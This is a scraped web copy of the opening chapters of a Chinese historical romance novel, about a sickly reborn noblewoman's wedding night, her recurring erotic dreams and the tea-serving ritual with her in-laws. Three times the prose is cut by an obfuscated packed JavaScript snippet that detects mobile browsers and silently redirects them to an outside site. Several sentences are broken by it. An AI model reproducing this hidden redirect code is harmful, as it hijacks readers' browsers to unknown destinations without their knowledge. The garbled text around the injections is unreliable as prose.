《与清冷世子共梦春闺后》 1. 新婚夜 七月流火,天儿虽正是转凉的时候,可仍是暑热未消,树丛间虫鸣四起。 夜色已深,然此时的定北侯府,却是灯火通明,红绫飘飞,一派喜气洋洋。 不同于前院仆婢穿梭、宾客往来的喧嚣热闹,寂静的后院葳蕤苑新房外,两人小婢子偷闲站在长廊一角,窸窸窣窣交头接耳。 今日娶亲的是侯府世子,说起他们这位世子爷,那可是京中有口皆碑的人物,不仅生得丰神俊朗,轩然霞举,亦文韬武略,十六岁就随侯爷上了战场立下过赫赫战功,后头自西北回来,短短几年也凭着自个儿的本事成了大昭开国以来最年轻的大理寺少卿。 不想这样卓尔不群,志洁行芳的人物,娶的正妻,却是那般…… “你适才看清大少奶奶的脸没?可是真像传闻的那样……面目可憎。” “我站在最后头,哪里看得清。”另一婢子低声道,“我们往后便在这葳蕤苑当差了,可得小心说话,不然怕是有的苦头吃了。” “这是倒了什么霉,被调来伺候这样的主子,听闻这位大少奶奶脾性不好,从前在闺中时最是擅长磋磨奴婢,我们世子爷,那是皇家公主都娶的的,怎最后娶了这么个……” 小婢子的嘴一下被捂住,“刚让你小心说话,幸得我们不是屋内伺候的,不然就你这嘴,我们莫不是要被扒下一层皮来。” 说话间,一阵低咳声自大敞的主屋门扉内传出来,两人面色微变,忙又避远了些。 此时,新房内,一人倒了热茶奉上,一人快步上前,低身对坐在紫檀雕花拔步床的新妇道:“姑娘,您累了一日了,也只清晨梳妆前吃了两口粥,想必腹中饿得厉害,奴婢且先给您端些糕食来垫垫?” 微垂着眉眼的女子轻啜了两口热茶,缓了咳意,方才自喉中吐出一个“好”字,只那声儿极细弱无力,揉着浓浓的疲惫与倦意。 白芷听罢,忙折身去取搁在红木圆桌上的一盘茯苓糕,可方才往回走了几步,便教一只手给拦了,定睛一瞧,正是这葳蕤苑管事的沈嬷嬷。 她睨着白芷,阻道:“此时进食怕是不合规矩。” 白芷一听,登时来了火,哪看不出这沈嬷嬷怕不是想借此给她家姑娘一个下马威。 她家姑娘莫名其妙嫁来这定北侯府,平白遭了不少嫌弃不说,怎新婚当日还得受这刁奴的气。 她张嘴欲辩驳,身侧的紫苏却快一步质问道:“嬷嬷这话可是有趣,遍看这整个京城,哪家有这成婚当日,新妇就得一直饿着肚子的规矩。” 后头又上来个粉衣婢子,三个陪嫁丫头站在一处,本着护主的决心,毫不畏惧地直视着沈嬷嬷。 沈嬷嬷心虚地清了清嗓子,稍稍挺直了背脊,“老奴也不是不许大少奶奶进食,可所谓出嫁从夫,大少奶奶既与我家世子成了亲,便该再等等,等一会儿世子回来,再传了饭一道用,方是贤妇所为。” 她话音才落,一声低笑骤然响起,沈嬷嬷闻声看去,便见坐在拔步床上的新妇缓缓抬眸看来。 适才掀盖头后,因新妇总低垂着脑袋,沈嬷嬷也不好直勾勾细看,只透过凤冠流苏,知与传闻不同,应是个容貌姝丽的,这会儿四目相对,才知被摄了魂儿是什么滋味。 肤白若雪,柳眉琼鼻,活脱脱画中走出的仙姬,一双杏眸若蕴着湖水般熠熠生辉,直教人看得挪不开眼,只如今这双眼眸锐利如刃且盛满了嘲讽。 她唇角撇了撇,“我久居闺阁,不知定北侯府原是这么个规矩,然我自幼体弱多病,禁不住饿,若饿出个好歹,是由嬷嬷您,来给我大姐姐一个交代吗?” 沈嬷嬷身子一震,这位大少奶奶的语气里分明听不出丝毫愠怒,不过一字一句慢条斯理地说出那些话,便令她周身发凉。 她原是夫人身边伺候的,世子大婚前才被调至这葳蕤苑,本欲奉夫人之命好生磋磨磋磨新妇,收收她的锐气,不想这位大少奶奶是个不好惹的,竟是一点亏也吃不得。 倒也是,这位尚在闺阁时便不是什么好名声,跋扈傲慢,苛待下人,连长辈也敢顶撞。 若非三个月前那场意外,眼前这位在京城声名狼藉的范家三女哪有半点机会嫁给他家世子爷。 但闻得此言,沈嬷嬷仍是噤了声,不为旁的,就是为着新来的大少奶奶那当太子妃的大姐姐,也不敢再随意造次,她一个奴婢,虽说要听命行事,却也得学会审时度势。 何况这位新来的大少奶奶美则美矣,但正如她自个儿所说,是个十足的病秧子,生得清瘦纤细,面上纵是涂着胭脂,也掩不住那份病气的苍白,此时还因着疲累额上泛起了一层虚汗。 若她真出了什么事,要了她十条命恐是都不够抵的。 见这位沈嬷嬷消停得快,白芷得意洋洋地将茯苓糕递到自家姑娘跟前,不忘在心下啐了一口,还妄想压她家姑娘一头,也不出去打听打听,她家姑娘是个什么性子。 还能任她们欺负! 范玉盈自盘中拈起一块,轻轻咬下一口,秀眉微蹙。 这茯苓糕用料好,散发着一股诱人甜香,本该是美味非常,可对她而言却是味同嚼蜡,她自小吃苦药调养身子,而今无论吃什么,早已食不知味。 她抬眸暗暗环顾四下,看着这极为陌生的地儿,仍觉有些恍惚。 前世,直到死,她都不曾嫁人。 没想到一朝重生,不过是随家中姊姊赴了场宴席,便阴差阳错定下了这桩婚。 纵然她的夫君是那位被京中不少贵女仰慕的大理寺少卿,即定北侯世子顾缜,可于范玉盈来说却并非什么妙事。 这桩婚事反而将她重生后所有的计划统统打乱了。 思至此,范玉盈眉间不由浮上几片愁云。 而今人人敬畏范家,不乏欲借机攀附者,全因她大姐姐是储君之妻,却无人知晓,前世两年后,太子被逼谋反,范家亦受株连,而她被丢入教坊司,诸般打击之下,病体再支撑不住,没过多久也含恨而终。 谁知再醒来,竟回到了十七岁这年。 前世因常年缠绵病榻几乎从不出门的她为了改变这一世的结局,随二姐姐前往忠勇伯爵府赴宴,意图探听些有用的消息,却因身子虚弱在客房小憩时被那混蛋顾缜闯了进来。 虽不曾发生什么,可她彼时衣衫凌乱,事儿传开,受邀赴宴的淮阳长公主以她名声清白为由当即为两人定下了这门婚事。 事儿发生得太快,其中利害纷繁复杂,又牵扯前朝政事,范玉盈便是为了她大姐姐,都丝毫推脱不得。 在范家时她尚且还算自由,可如今嫁作人妇,诸般束缚,她最烦恼的,便是如何还能不着痕迹地调查前世之事。 范玉盈心事重重之下,勉强吃下一块茯苓糕,就对端着盘子还欲劝她再吃的白芷摇了摇头,恰在此时,就听门外传来喊声。 “世子爷回来了。” 范玉盈微微一愣,抬首见一个高大的身影阔步入屋来,剪裁得当的大红喜服衬得男人愈发挺拔如松,分明生得剑眉星目,神采英拔,可男人面上却是无笑,周身透出清冷之气。 “世子爷,可要备水?”沈嬷嬷巴巴上前问道。 “嗯。” 男人低低应了一声,仅是这一声,便令范玉盈不自觉揉皱了手底的嫁衣,周身上下都不自在起来,只得微微别过头去。 然她此举恰一丝不差地落入顾缜眼中。 他薄唇紧抿,就近寻了把圈椅坐下。 沈嬷嬷命人奉了茶,又问可要传饭。 顾缜在前院招待宾客时吃了不少酒,此时无甚胃口,便将目光投向坐在拔步床上的范玉盈。 他斟酌片刻,末了,唤了声“夫人”。 “可要吃些什么?” 范玉盈身子几不可查地微微一颤,闻声又是一阵不适,她强忍着,头也不抬,淡声道适才已吃了糕食,并不大饿。 顾缜便没让沈嬷嬷传饭,吩咐罢,屋内一时无话,四下静得落针可闻。 墙边方桌上摆的龙凤花烛还在无声地爆着灯花,分明是洞房花烛夜,却是一点喜气也无。 白芷视线悄悄在自家姑娘和姑爷间打量,不禁在心下叹气。 夫妻间这般冷冷淡淡的,往后的日子该怎么过。 不多时,侍婢道浴间水已备好。 “夫人先去吧。”顾缜道。 范玉盈勉笑了下,“还是世子爷先去吧。” 顾缜思忖片刻,如实道:“夫人沐浴罢还需时间梳理,我素来习惯了亥时五刻前熄灯歇息,不欲拖怠了时辰。” 一直低垂着脑袋的范玉盈终是抬首,错愕地看他一眼,不曾想他会说出这样一番话。 还当他是客气,原不过是有自己的打算,怕她拖延耽误。 她在心下哂笑一声,不再推却,搭着紫苏的手缓缓起身往浴间而去。 白芷、紫苏与青黛驾轻就熟地伺候主子沐浴,自浴间出来后,范玉盈径直在妆台前坐下。 仆婢们手脚麻利地收拾罢,顾缜亦入内沐浴,约莫一刻钟后出来,抬手屏退众人。 纵然两位主子间的气氛算不得太融洽,可今日到底是洞房花烛,婢子们鱼贯而出时,彼此交换的眼神间难免多了几分暧昧。 唯范玉盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469878|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来的三个婢子,却是迟疑着,忧心忡忡地看着自家姑娘。 直到看见范玉盈暗暗对她们眨了眨眼,方才无奈退出去,阖上了房门。 范玉盈自妆台前站起,心里很清楚紫苏她们在忧愁什么。 浴间设在西面稍间,主卧则在东面套间最里头,此时的顾缜已跨过明间往这厢而来。 算起来,她与顾缜也不过见了两回。头一次是在忠勇伯爵府,她因受不住暑热在客卧小榻上歇息,听见动静勉力支起身子,却在坐屏旁瞧见怔在原地的顾缜,而今日则是第二回。 适才他掀了她的盖头,两人喝合卺酒吃同牢肉时,俱是坐在拔步床上。 这会儿,眼看男人逐渐靠近,范玉盈才真正感受到,这人生得有多高大健硕。 微湿的中衣透出其下轮廓分明的肌肉线条,格外粗壮的手臂,以及那只大掌,似乎轻易就能笼住她纤细的脖颈,要了她的命。 虽是文官,但不愧是武将之后,还在战场上拼杀过几年,体格非寻常男人所能及。 不过,他的脚步停留在了适才那把圈椅前,复又坐了下来,旋即用眼神无声示意她在对面床榻上落座。 范玉盈照做了,她知道,顾缜有话要说。 果然,在沉默片刻后,这位定北侯世子整衣敛容,缓缓开口:“你今既嫁入侯府,便是顾家人了,对内对外,代表的都是顾家的脸面,往后行事需得安分守己,谨言慎行。” 范玉盈眉目低敛,好似在学堂受训诫一般,低低道了声“是”,心下并不意外,她的新婚夫婿在洞房花烛夜就给她立下规矩。 想是怕她这个高门大户都避之不及的祸害会将定北侯府搅得鸡犬不宁。 顾缜颔首,他不知外头传言是否为真,但让范氏知晓这些也无不好,将来也可借此约束几分。 他是侯府世子,自看重侯府荣辱,他和范氏的这桩婚事本也算不得你情我愿,但若往后范氏的言行举止能令他满意,不做出损害定北侯府之事,他也不是不能平平静静地同她过日子。 言罢,他起身朝床榻方向而去。 范玉盈眼见男人步步逼近,柔荑死死抓住床沿,却是退无可退,她一咬牙,猛然直视他。 “妾身今日身子不适。” 顾缜脚步一滞,居高临下静静看她半晌,那双眼眸漆黑深邃,似不见底的幽谷,翻涌着令她看不懂的东西。 对视之下,范玉盈周身生出种奇怪的怵意,觉得莫不是她这话惹得顾缜不高兴了。 然少顷,便见男人忽而绕过她,自床榻另一边抱起一床被褥。 “今夜,我去西间小榻上睡。”他淡淡道。 “多谢世子爷体谅。”范玉盈舒了口气。 听着她明显比适才柔了不少的声儿,顾缜深深看她一眼,神色意味不明,似想说什么,但末了,只道出一句“你早些歇息”,折身离开。 看着他略有些急促的步伐,还不忘替她闭了卧房门,范玉盈放松之下,忍不住自嘲地扯了扯唇角。 这男人,似乎也不想与她圆房,恐对她一点兴致也无,倒是她自作多情了。 顾缜一走,卧房内,只剩了范玉盈一人,素日缠绵病榻的人哪里经受过今日这般折腾,甫一卸了劲儿,她顿似被抽了周身气力,几乎一沾榻便昏睡了过去。 直到…… 迷迷糊糊间,一个刚劲有力的手臂如粗壮的藤蔓般缠住了她盈盈一握的腰肢。 她睁开眼,便见自己正坐在男人怀里,一双藕臂攀着男子的脖颈。 分明近在咫尺,可任凭她怎么努力都看不清眼前男人的脸,似有一层迷雾笼罩其上,如何都挥散不去。 可身子深处传来的异常却在提醒她正与男人做着天底下最亲密之事。 男人将她困在怀里,又狠又急,忽而俯首而来,一下咬住她敏感的耳垂,引得她阵阵颤栗。 她听见他用低哑浑厚的嗓音唤她。 “枚枚。” 那是她的乳名。 乍一听到这声,范玉盈却生出强烈的抗拒感,她想推开男人,但任凭她如何努力,都无法控制这具身躯,唯有在一片剧烈翻腾的浪潮中随波逐流。 她很清楚这只是梦,是她重生三月常常会做的,难以启齿的梦。 即便是假,她仍然极其不喜。 只因梦中男人的嗓音,竟和她那讨厌的新婚夫婿一模一样。 可要说一样,又截然不同,她那夫君循规蹈矩,古板无趣,看起来清冷得跟个和尚一样。 但眼前这个男人,却似要在这红浪中,凶残地将她拆吃入腹。 2. 敬茶 这便是她不愿听顾缜说话的缘由。 毕竟就算再不同,相似的音色入耳总让范玉盈想起梦中那令她面红耳赤的一幕幕,惹得她不敢直视顾缜。 若非在遇见顾缜前就已开始发梦,范玉盈都怀疑是不是自己对顾缜有什么非分之想。 她还记得初次在忠勇伯爵府听见顾缜开口时,那如遭雷击之感,毕竟纵然看不清脸,可她如何忘得了夜夜在她耳畔呢喃低语的声儿。 范玉盈失神之际,随着天旋地转的一阵,整个人已仰面陷在了绵软的衾被里,男人滚烫又粗粝的大掌反剪住她白皙纤细的手腕,死死按在头顶。 “枚枚。”他复又唤她。 这一次,低沉浑厚的嗓音融着无尽的暧昧缱绻。 不知怎的,那股子抗拒渐渐自范玉盈心底消散了。 她承认,她其实有些贪恋这声呼唤,男人温柔地好似视她为世间至宝,那是她自小便很少得到的温暖与珍视。 她眼看着梦中自己这不可控的身躯,与男人交颈缠绵,还用与她相似,却令她陌生的娇媚嗓音唤道。 “云郎……” 轻摇的红罗帐内,云绸雨密,经久不息。 范玉盈也不知这梦是何时结束的,只幽幽醒转过来,周身酸疼,累得掀不开眼睑,她隐约记得,今日当是白芷当值,便下意识唤了两声。 床榻外响起窸窸窣窣的动静,范玉盈无力地抬起手,如往常般吩咐道:“扶我起来。” 话音才落,有人握住她的手腕,长臂横在她的后背,将她轻轻松松托坐了起来。 范玉盈只觉今日白芷的力道格外得大,下一刻,混沌散去,神智陡然清明,猛地睁开眼,男人清俊的面容赫然出现在眼前。 她怎忘了,她已然嫁人,如今已非身在范府。 她下意识欲挣脱,却因身子无力不可控地往后倒去。 男人眼疾手快,原横在她后背的手赫然收紧,顺势将她向前一带。 脑袋磕在坚硬胸膛的一瞬,范玉盈有些懵,昨夜梦中景象霎时浮现在她脑海。 耳畔男人起伏的粗喘与柔媚的娇吟缠绕不息,她坐在男人身上,挑逗的指尖顺着他汗水淋漓的胸口沿着小腹一路而下。 “可还好?” 头顶传来清冷的嗓音,也不知是不是范玉盈的错觉,那声儿里似乎带着些许哑意。 她清醒几分,却仍未抬首,唯恐被顾缜看见泛红的双颊,叫他笑话。 “无妨。” 顾缜松开手,让她靠坐在床头,旋即看向自窗棂投进来的明亮天光,“天色不早,你若无事,母亲那厢还等着你前去敬茶请安。” 你? 范玉盈敏锐地察觉到他话中的蹊跷,疑惑地抬眸看去。 果然,只见顾缜直视着她,继续道:“大理寺有桩要案,已查办数月,昨日终于逮得贼首,那贼首身受重伤,恐命不久矣,如今人压在狱中,急待我前去审问,今夜怕也来不及回府……” 他观察着范玉盈的神色,顿了顿道:“此事我会派人禀告母亲,你放心,明早我定会赶回府陪你回门,若有什么事,只管派人到前院寻李寅,他自会去大理寺告知于我。” 身受重伤,命不久矣。 这般巧。 范玉盈在心底嘟囔。 新婚头一日,夫君便因急着处理公务,撇下妻子一人去向长辈敬茶,若换了旁的女子,定是要伤心难过,甚至觉得受了侮辱。 可范玉盈听他淡淡吐出这些话,内心却无波澜,因她对顾缜这个夫君从一开始就压根不抱有希望。他也不是自愿娶的她,想必因着外间传闻对她的印象也不佳,不过倘若娶的不是她,恐也不会有这种事的发生。 她浅笑颔首,道了声“好”。 顾缜见她并无不虞,面色松了几分,郑重又歉意道:“辛苦你了,夫人。” 他说罢,起身步出卧间,开门令婢子们入内伺候。 范玉盈看着他离开的背影,忽觉有些荒唐好笑。 她这位夫君说话一板一眼,对她也并无柔情,除却嗓音外,与梦中人根本毫无相似之处,她也没必要将两者联系在一起。 毕竟梦只是梦。 范玉盈怎也想象不出,看起来清心寡欲,不苟言笑的顾缜会做出梦中那般举止。 紫苏几人端着铜盘巾帕入内时,尚有些惴惴不安,直到瞧见好端端坐在床榻上的范玉盈时,才彻底安下一颗心。 毕竟世子生得格外高大健壮,又正是血气方刚的年岁,可她家姑娘偏是这般柔弱的身子,还受了一日的累,若洞房花烛夜世子不晓得节制,她家姑娘哪里受得住。 但看这会儿,倒是她们多虑了,世子自幼受礼法熏陶,乃是君子,怎会是那不知分寸的。 紫苏扶着范玉盈在妆台前坐下,白芷去取衣裳,青黛则绞了巾帕递过去,三人有序地替自家姑娘更衣梳洗。 范玉盈懒懒任她们伺候着,偶一抬眸,透过妆台上的那枚折枝海棠铜镜,瞧见沈嬷嬷正装模作样地收拾床铺,少顷自角落摸出块白帕子来。 面对那无比干净的帕面,沈嬷嬷眉头紧蹙,紧接着偷偷摸摸揣入袖中,悄然出去了。 紫苏眼尖,自也瞧见了这一幕,她虽未经人事,可也清楚那帕子意味着什么。 诧异罢,她俯身在范玉盈耳畔低低问道:“姑娘,昨夜,您和世子……” 范玉盈把玩着手边的一枚玉簪,用玩笑的语气答她,“世子瞧不上我。” 紫苏愣了一瞬,这话她是万万不信的,便是以她家姑娘这姿色,世上怕是没多少男人能不为所动。 世子不碰她家姑娘,难不成是因为…… 紫苏皱了皱眉,正欲说什么,就见范玉盈无所谓道:“他不碰我也好,我倒是巴不得他不碰我的。” 虽说这婚姻大事,父母之命媒妁之言,多是盲婚哑嫁,可范玉盈自小便觉着,夫妻之事本就该是相爱之人方能做的。 她实在不喜顾缜,亦不欲与他亲密,至于圆房,最好是能拖一日是一日。 紫苏听自家主子这般说,明了了她的心意,便也闭嘴不再多言,只开了妆奁,问范玉盈中意哪盒胭脂。 白芷见状,指着其中一盒道:“姑娘皮肤白,教奴婢瞧着,这颜色最为合适,衬得姑娘面若桃花,一会儿敬茶定能惊艳四座。” “奴婢也觉着好。”青黛附和,“不论怎的,可莫让定国公府的人觉着姑娘您好欺负。” 相比于白芷和青黛的孩子脾性,紫苏虚长几岁,考虑地自是更周全些,她沉吟须臾,“姑娘,看昨日沈嬷嬷的态度,恐那大夫人不是好相与的,今日敬茶怕是会刁难于您,可若您与大夫人硬碰硬,得罪了大夫人这个婆母,也讨不到好,毕竟您将来可是要长长久久住在侯府的。” 紫苏虽心疼她家姑娘自幼受尽了委屈和冤枉,嫁了人还要低三下四,遭人冷眼,但也不得不与她分析利弊。 这事,范玉盈何尝不知,更何况,未出嫁前,她二姐就已将能打听到的定北侯府的种种事无巨细地讲予她听。 这定北侯府也算是将门世家,如今的定北侯即顾缜的父亲顾松筠常年在西北边塞戍守,至今已有七八年不曾回京。 自老定北侯故去,虽说定北侯袭爵后也算与二房三房分了家,但因顾老夫人还在世,定北侯念及手足之情,又想着方便二老爷和三老爷继续侍奉在顾老夫人膝下,至今仍允二房三房住在定北侯府西面一隅。 不过两年前,因顾老夫人年老体衰,逐渐受不住京城的严寒,便由顾缜护送回南游的顾家老宅修养去了。 听闻顾三老爷身患有疾,三房夫人是个安静不作妖的,可二房夫人却不是个安分的,一直有意将自己的内侄女嫁给顾缜但未成,这会儿却让她“捷足先登”,难免心生怨恨,在敬茶时予她难堪。 前头等着她的必定是龙潭虎穴。 范玉盈扫了眼面前上好的胭脂,那些可用来遮掩她病气的胭脂,许久,却只是勾唇浅浅笑了笑。 此时,定国公府正厅内。 一身着银红云纹团花织金褙子,雀蓝缠枝纹百迭裙的妇人端坐在上首,正是定北侯夫人苏氏。 下边两侧太师椅上按着辈分,各坐着二房和三房,其后还站着各家小辈。 除却身怀有孕的二房少奶奶及三房老爷和三公子,顾家人都到齐了,却仍不见新人影子,大夫人苏氏面色愈发沉了。 厅中气氛凝重,底下人一时也不敢多话,还是二夫人方氏似随口般道:“倒也奇怪,要说缜哥儿行事稳重,素来准时,今日怎的……” 方氏身后,站着两个面容相似的少女,水蓝衣裙的约莫十五六岁,鹅黄衣裙则小些,十三四岁的模样,那黄衣少女登时接话,“有何奇怪的,大哥哥准时又能怎,新妇若是个怠懒拖沓,不敬长辈的,哪里能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可还未放下茶盏,就见一人匆匆步入,定睛一瞧,正是顾缜身边的长随李寅。 “夫人,世子爷让小的来传话,道大理寺有急务,需得过去一趟,恐不能陪大少奶奶一道来给您敬茶了。” 听得此言,厅中众人神色各异。 苏氏蹙眉,“世子不来,那大少奶奶呢,也不来了?” 李寅想了想,如实答:“这……世子爷倒不曾说过。” 那便是得来了。 二老爷已是等得不耐烦,“大嫂,瞧着那范氏的确是不像话,哪有新婚头一日便让长辈等的道理……” “兴许也怪不得大嫂,大哥哥不愿陪嫂嫂过来敬茶,大嫂心里指不定多难过呢。”方氏背后那稍大些的蓝衣姑娘蓦然阴阳怪气起来。 她心下认定了范玉盈如外间传言般生得獐头鼠目,歪瓜裂枣,令顾缜昨夜掀了盖头,见了真容,便心生厌恶。 正当厅内众人都这般认为时,还未退下的李寅倏然幽幽开口。 “世子爷临走前,还留了话,让小的转达,世子爷说了,他并非有意以公务为由离府,不陪大少奶奶过来敬茶,若有人在背后乱嚼舌根,传些不该传的闲话,届时无论是谁,他皆不会留有情面。” 李寅说罢,目光有意无意在厅中众人间来回。 二房原只等着看好戏的两姑娘笑意一凝,面色都白了几分。 心下哪里不知这分明是顾缜留下的警告,她们这位大哥哥脾性便是如此,不管他喜或不喜,都不许人在背后随便非议新妇。 毕竟范玉盈既嫁入定北侯府,便是侯府的人,非议她就等同于非议定北侯府。 顾缜是如何说到做到,幼时不知跪过多少次祠堂的姐妹俩可深有体会。 见身后自家俩原“能说会道”的女儿皆吓得不敢再吭声,方氏抿唇淡然一笑,“孩子们年岁小,难免口无遮拦了些,大嫂见谅,不过让我瞧着,新妇许是忙着上妆,这才忘了时辰,要不大嫂还是派人前去催上一催。” 苏氏搁在膝上的手微微蜷起,范玉盈久久不来,伤的是她这个婆母的颜面,她堂堂定北侯夫人,又是一族宗妇,此事传出去,她的面子又往哪搁。 她侧首,沉声吩咐身边的婢女,“去葳蕤苑,看看大少奶奶究竟因何事耽搁!” 那婢女领命往正厅外走去,可还未踏出门槛,就听院中有人喊。 “来,来啦!” 3. 前世 厅中众人双眸一亮,一时伸长了脖颈,想看那外头传闻常年不踏出范府一步,却声名狼藉的范三姑娘生得究竟有多不堪入目,当然,在场不乏有人等着她今日被苏氏当众立一立规矩。 可少顷,却唯见一婢子穿过庭院疾步而来。 众人面面相觑之际,那婢子扑通跪倒在地,哽咽道:“奴婢紫苏,见过夫人。大少奶奶本欲前来给夫人敬茶,可无奈身子不适,挣扎再三,实在晕得厉害,难以站立,故而只能命奴婢来此给夫人请罪……” * 前院正厅陷入一片混乱之际,葳蕤苑庭院内,范玉盈正闭眼躺在树荫底下小憩。 立秋已过,暑热也渐渐退了去,这葳蕤苑院如其名花木茂盛,比之旁处凉快许多,白芷还特取了条薄被替自家姑娘盖上。 这般不冷不热的天儿最是宜人,范玉盈不知不觉便睡了过去,待醒来时,紫苏已然回来了,正坐在一旁,搅动着药碗里的羹匙,替她吹凉。 “姑娘醒了,刚巧药也好了。” 白芷和青黛扶着范玉盈慢慢坐起身,紫苏将药碗递去。 范玉盈伸手接过,面对那浓稠难闻的药汁,却是眼也不眨仰头一饮而尽,用丝帕轻轻擦拭唇角时,就听紫苏道:“大夫人听闻您身子有恙,纵然心下不虞,但当着厅中众位老爷太太的面也不好发作,便关切地问了两句,说一会儿让府内的刘大夫过来给您瞧瞧。” 范玉盈颔首,心下清楚她那婆母的用意,恐那刘大夫不是来瞧病,是来探虚实的。 她不以为意地笑了笑,这事,她还真不怕。 她都敢称病故意不去,自是料定了不会被拆穿。 虽都说兵来将挡,水来土掩,可既然前路难行,那她便不行。 何况她那新婚夫婿都未顾忌她的颜面,丢下她一人去敬茶,她光是站在那儿就注定受人奚落讥讽,又何必自取其辱。 她是想暂且与顾缜将日子过下去,可没想过送上门去让人欺负。 白芷才收了药碗,外头蓦然响起动静,不多时,便见沈嬷嬷领着一男子沿着抄手游廊而来,那人三十出头,下颌留着短须,背着沉甸甸的药箱,想必是府中的刘大夫了。 刘大夫垂首行至范玉盈所躺的春椅前,躬身施礼,“草民刘长延见过大少奶奶,草民奉夫人之命,特来给大少奶奶请脉。” “辛苦刘大夫了。” 听着这道如莺啼般清丽动听的嗓音,刘长延身子一怔,终是没忍住悄然抬眸看去,姝丽绝艳的面容甫一入眼,令刘长延一时愣在原地。 沈嬷嬷见这刘长延没出息地失了神,在心底嘟囔了句红颜祸水,忙出声提醒,“刘大夫,您快给大少奶奶瞧瞧吧。” 刘长延这才惊觉失礼,慌乱应声罢,眼看着青黛取出丝帕盖在范玉盈莹白如玉的腕上,这才伸手在其上搭脉。 然诊了片刻,刘长延的眉头却蹙得愈发深了,眸光由诧异到震惊,最后转化成了惋惜,他神色凝重地看向这位新过门的世子夫人,就见对方朱唇抿起,对他莞尔一笑。 “刘大夫,我家大少奶奶如何,病得可否严重?听闻今早晕得连站都站不稳了。”沈嬷嬷急切问询。 刘长延一副欲言又止的模样,末了,站起身,浅笑着答:“大少奶奶许是劳累过度,加之身子本就虚弱,气血不足,这才眩晕不止,服了药好生调养调养很快便能有所缓解。” 沈嬷嬷闻言深深看了范玉盈一眼,听刘大夫这意思,便是真的病了。 她只得顺势笑起来,做出一副如释重负的模样,“那再好不过,就请刘大夫随我前去开方子吧。” 听得此言,范玉盈向青黛投去一眼,青黛会意,喊了声“等等”,一边自袖中掏出一页纸,一边道:“刘大夫,我家姑娘惯来多病,素有常吃的药方,适才已煎了给姑娘服下,您瞧瞧,这方子可还成?” 递去时,青黛又补充了一句,“这是前些日子,我家大姑娘请宫中的宁太医诊断后开的。” 刘长延扫了眼药方,颔首,“宫中太医皆医术高明,非刘某一介草民所能及,这药方自是再好不过。” “多谢刘大夫了。”范玉盈吩咐道,“白芷,送送刘大夫。” 白芷听命领着刘大夫离开,留沈嬷嬷尴尬地杵在原地,正欲寻个由头逃了去,却听范玉盈唤了她一声,目光扫向一旁的杌凳,“嬷嬷且先坐下歇歇,同我说说话。” “是。”沈嬷嬷强笑着,不情不愿挪过来坐下,心下明白这怕不是要同她算昨日的账。 “嬷嬷今早倒是忙,一上午竟是全然不见你的身影,这是上哪儿去了?” 看着范玉盈似笑非笑的眼神,沈嬷嬷只觉如芒在背,她晓得这位是个厉害的,都猜得出今日她是刻意不去敬茶,可偏生拿不住她一点把柄。 “老奴一早便清点了大少奶奶带来的嫁妆。”她想了想,如实道,“后按照惯例将嫁妆单子拿去给夫人过目。” “哦,夫人如何说?”范玉盈挑眉问道。 “夫人也不过草草览了一遍,按规矩命人誊抄了一份收起来,就让老奴回来了,说大少奶奶的嫁妆任由大少奶奶您自个儿处置,顺道让老奴带着刘大夫来给您瞧瞧。”言至此,沈嬷嬷问道,“大少奶奶带来的嫁妆,这会儿都搁在西厢房呢,可要让老奴派人将东西取出来归置归置?” “不必了。”范玉盈道,“除却那些个平素要用的衣裳首饰,剩下的如何抬来的便如何放着吧。” 沈嬷嬷面露诧异。 哪家新妇是这般处理嫁妆的,如此,倒像是不会在此处久留,将来走了也方便快些将嫁妆一并带走一般。 但沈嬷嬷转念就觉这个想法荒唐,就冲范氏那狼藉的声名,也只有她家世子爷嫌弃她的份,她又凭什么主动要求和离。 更何况,这桩婚事是淮阳长公主所赐,两人轻易分不得,纵她是太子妃的亲妹妹也无用。 沈嬷嬷应声吩咐人去了,心下很意外范玉盈并未怎么刁难于她。 日头高悬,树荫逐渐遮不住热意,紫苏提议回屋,范玉盈便由青黛扶起,往主屋而去。 屋内依然是那令她陌生的摆设,范玉盈不熟悉这里,亦不喜欢这里。 她看出沈嬷嬷刚才在想什么,她的确不会在定北侯府久留。 只是不是马上离开。 她已打算好了,若她能改变两年后的结局,家人都还在世,届时她就以体弱难孕为由,自请和离,回范家去,毕竟局势已定,长公主也不好真令定北侯府无后。 当然,兴许还会有另一个结局…… 范玉盈眼睫微垂,掩下藏在眸底的心绪。 那位刘长延刘大夫倒是自谦了,把脉时他当已发现了什么,只是,那一看便是个聪明人,就算去顾家大夫人前禀告,也知晓什么该说,什么不该说。 将来如何,她说不准,可她范玉盈既会尽人事,亦会听天命。 甫一在西次间的小榻上坐下,青黛就凑近低声道:“姑娘,那沈嬷嬷一看便知是大夫人派来盯着您的,您可要寻个由头,将她……” 范玉盈摇了摇头,“留下吧,毕竟赶走了这个还会有下一个。” “姑娘这话说的不错,下一个还不知如何呢。”紫苏递来杯温热的茶水,面露不解,“只看那沈嬷嬷……实在不是个机敏懂算计的,心思全写在脸上,昨日本想替大夫人立威,却教姑娘您三言两语给吓住了,大夫人也不知为何选了这样一人放在姑娘您身边。” 范玉盈放下茶盏,懒懒用手支着脑袋,不知想到什么,眸中浮现些许笑意,“或许……” “或许什么?”青黛不明所以。 范玉盈摇了摇头,靠在引枕上,笑而不答。 她总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 